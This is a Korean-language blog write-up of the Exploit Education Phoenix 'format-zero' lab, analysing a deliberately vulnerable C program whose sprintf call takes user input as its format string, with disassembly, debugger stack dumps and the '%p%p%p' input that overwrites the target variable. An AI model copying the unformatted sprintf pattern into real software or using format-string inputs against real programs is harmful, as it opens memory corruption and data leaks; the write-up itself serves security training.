Wargame/Exploit Education

[Phoenix] Format zero

wyv3rn 2022. 9. 28. 16:31
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/format-zero, by https://exploit.education
 *
 * Can you change the "changeme" variable?
 *
 * 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
 * pass it around, 4294967295 bottles of beer on the wall!
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  printf("%s\n", BANNER);

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  }
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
    puts(
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "
        "again?");
  }

  exit(0);
}

 

2.2. 분석

코드는 길지만 크게 고민할 것 없이 buffer 변수에 buffer 변수 크기만큼 값을 받아들인 뒤 sprintf 함수를 통해 buffer의 내용을 dest 변수에 복사한다.

이후 change 변수를 확인하여 0이 아니면 성공이다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

format string을 지정해주지 않아 sprintf 함수에서 format string bug가 발생하며, 의도치 않은 값을 dest 변수에 삽입할 수 있게 된다.

 

3.2. 공격 준비

어셈블러 코드 상 주요 부분은 아래와 같다.

   0x00000000004006f2 <+85>:    lea    -0x40(%rbp),%rdx
   0x00000000004006f6 <+89>:    lea    -0x30(%rbp),%rax
   0x00000000004006fa <+93>:    mov    %rdx,%rsi
   0x00000000004006fd <+96>:    mov    %rax,%rdi
   0x0000000000400700 <+99>:    mov    $0x0,%eax
   0x0000000000400705 <+104>:   callq  0x400500 <sprintf@plt>
   0x000000000040070a <+109>:   mov    -0x10(%rbp),%eax
   0x000000000040070d <+112>:   test   %eax,%eax
   0x000000000040070f <+114>:   je     0x40071d <main+128>

즉, rbp - 0x40의 값을 rbp - 0x30 위치에 복사하며, rbp-0x10의 값이 0 인지 확인한다.

 

예를 들어 AAAAAAAAAA와 같은 값을 넣어보면 stack의 모양은 아래와 같다.

gef> x/40gx $rbp-0x40
0x7fffffffe640: 0x4141414141414141      0x0000414141414141
0x7fffffffe650: 0x4141414141414141      0x0000414141414141
0x7fffffffe660: 0x0000000000000001      0x00007fffffffe6e8

만일 format string이 삽입되면 어떻게 될까.

%x%x%x의 값을 넣어보았다.

gef> x/40gx $rbp-0x40
0x7fffffffe640: 0x000a782578257825      0x0000000000000000
0x7fffffffe650: 0x3034366566666666      0x6532356366663766
0x7fffffffe660: 0x3030336266663766      0x00007fffffff000a

위와 같이 0x7fffffffe640 위치에 %x%x%x의 문자열이 삽입되어있지만,

복사된 위치인 0x7fffffffe640 위치에는 알 수 없는 값들이 많이 들어가있다.

이번에는 %p%p%p를 넣어보자.

gef> x/40gx $rbp-0x40
0x7fffffffe640: 0x000a702570257025      0x0000000000000000
0x7fffffffe650: 0x6666666666377830      0x7830303436656666
0x7fffffffe660: 0x6666376666666637      0x6637783065323563
0x7fffffffe670: 0x3362666637666666      0x00000000000a3030

이번에도 마찬가지로 삽입된 문자보다 더 많은 값들이 들어가있다.

지속적으로 동일하게 수행하면 rbp-0x10 영역까지 덮어씌울 수 있을 것이다.

문제에 대한 답은 찾았고...

 

그럼 이 값들은 어디서 가져오는 것일까.

찾아봤더니 아래와 같았다.

gef> x/10gx 0x7fffffffe580
0x7fffffffe580: 0x00007fffffffe640      0x00007ffff7ffc532
0x7fffffffe590: 0x0101010101010101      0x0a0a0a0a0a0a0a0a
0x7fffffffe5a0: 0x00007ffff7ffb200      0x00007fffffffe640
0x7fffffffe5b0: 0x00007fffffffe640      0x00007ffff7db6f2e
0x7fffffffe5c0: 0x0000000000000000      0x25007ffff7db6dde
gef> x/40gx $rbp-0x40
0x7fffffffe640: 0x7025702570257025      0x00000000000a7025
0x7fffffffe650: 0x6666666666377830      0x7830303436656666
0x7fffffffe660: 0x6666376666666637      0x3031783032333563
0x7fffffffe670: 0x3031303130313031      0x6178303130313031
0x7fffffffe680: 0x6130613061306130      0x7830613061306130
0x7fffffffe690: 0x6666666666666637      0x0000000a38643665
...
gef> x/s 0x7fffffffe650
0x7fffffffe650: "0x7fffffffe6400x7ffff7ffc5320x1010101010101010xa0a0a0a0a0a0a0a0x7fffffffe6d8\n"
gef> x/10gx 0x7fffffffe580
0x7fffffffe580: 0x00007fffffffe640      0x00007ffff7ffc532
0x7fffffffe590: 0x0101010101010101      0x0a0a0a0a0a0a0a0a
0x7fffffffe5a0: 0x00007ffff7ffb200      0x00007fffffffe640
0x7fffffffe5b0: 0x00007fffffffe640      0x00007ffff7db6f2e
0x7fffffffe5c0: 0x0000000000000000      0x25007ffff7db6dde

그럼 왜 위와 같은 위치의 값을 가져오는 것일까.

프로그램의 흐름대로 따라가보니 sprintf 함수에 들어가자마자 rsp를 변경하기 때문이었다.

 → 0x7ffff7db9b9b <sprintf+0>      sub    $0xd8, %rsp
   0x7ffff7db9ba2 <sprintf+7>      test   %al, %al
   0x7ffff7db9ba4 <sprintf+9>      mov    %rdx, 0x30(%rsp)
   0x7ffff7db9ba9 <sprintf+14>     mov    %rcx, 0x38(%rsp)

sprintf source code에 이런 부분이 있다는건데...

못찾겠으니 패스.

 

4. exploit

user@phoenix-amd64:~$ /opt/phoenix/amd64/format-zero                         Welcome to phoenix/format-zero, brought to you by https://exploit.education
%p
Uh oh, 'changeme' has not yet been changed. Would you like to try again?
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%p%p
Uh oh, 'changeme' has not yet been changed. Would you like to try again?
user@phoenix-amd64:~$ /opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%p%p%p
Well done, the 'changeme' variable has been changed!
728x90
반응형